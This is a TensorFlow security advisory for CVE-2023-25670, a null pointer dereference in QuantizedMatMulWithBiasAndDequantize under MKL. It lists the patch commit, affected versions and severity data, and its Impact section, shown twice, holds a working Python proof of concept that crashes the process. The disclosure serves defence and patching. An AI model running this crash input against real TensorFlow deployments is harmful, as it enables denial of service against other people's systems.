TensorFlow has Null Pointer Error in QuantizedMatMulWithBiasAndDequantize
High7.5CVE-2023-25670 · Published Mar 24, 2023 · updated Sep 10, 2026
### Impact NPE in QuantizedMatMulWithBiasAndDequantize with MKL enable ```python import tensorflow as tf func = tf.raw_ops.QuantizedMatMulWithBiasAndDequantize para={'a': tf.constant(138, dtype=tf.quint8), 'b': tf.constant(4, dtype=tf.qint8), 'bias': [[31.81644630432129, 47.21876525878906], [109.95201110839844, 152.07968139648438]], 'min_a': 141.5337138686371, 'max_a': [73.84139251708984, 173.15280151367188], 'min_b': [], 'max_b': [[16.128345489501953, 193.26820373535156]], 'min_freezed_output': [], 'max_freezed_output': [115.50032806396484, 156.974853515625], 'Toutput': 1.0, 'transpose_a': True, 'transpose_b': False, 'input_quant_mode': 'MIN_FIRST'} func(**para) ``` ### Patches We have patched the issue in GitHub commit [8a47a39d9697969206d23a523c977238717e8727](https://github.com/tensorflow/tensorflow/commit/8a47a39d9697969206d23a523c977238717e8727). The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1 ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.11.1 | 2.11.1 |
Details and references
### Impact NPE in QuantizedMatMulWithBiasAndDequantize with MKL enable ```python import tensorflow as tf func = tf.raw_ops.QuantizedMatMulWithBiasAndDequantize para={'a': tf.constant(138, dtype=tf.quint8), 'b': tf.constant(4, dtype=tf.qint8), 'bias': [[31.81644630432129, 47.21876525878906], [109.95201110839844, 152.07968139648438]], 'min_a': 141.5337138686371, 'max_a': [73.84139251708984, 173.15280151367188], 'min_b': [], 'max_b': [[16.128345489501953, 193.26820373535156]], 'min_freezed_output': [], 'max_freezed_output': [115.50032806396484, 156.974853515625], 'Toutput': 1.0, 'transpose_a': True, 'transpose_b': False, 'input_quant_mode': 'MIN_FIRST'} func(**para) ``` ### Patches We have patched the issue in GitHub commit [8a47a39d9697969206d23a523c977238717e8727](https://github.com/tensorflow/tensorflow/commit/8a47a39d9697969206d23a523c977238717e8727). The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1 ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by r3pwnx
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-476
- Also known as
- BIT-tensorflow-2023-25670, CVE-2023-25670, PYSEC-2026-1955, PYSEC-2026-3098, PYSEC-2026-3271
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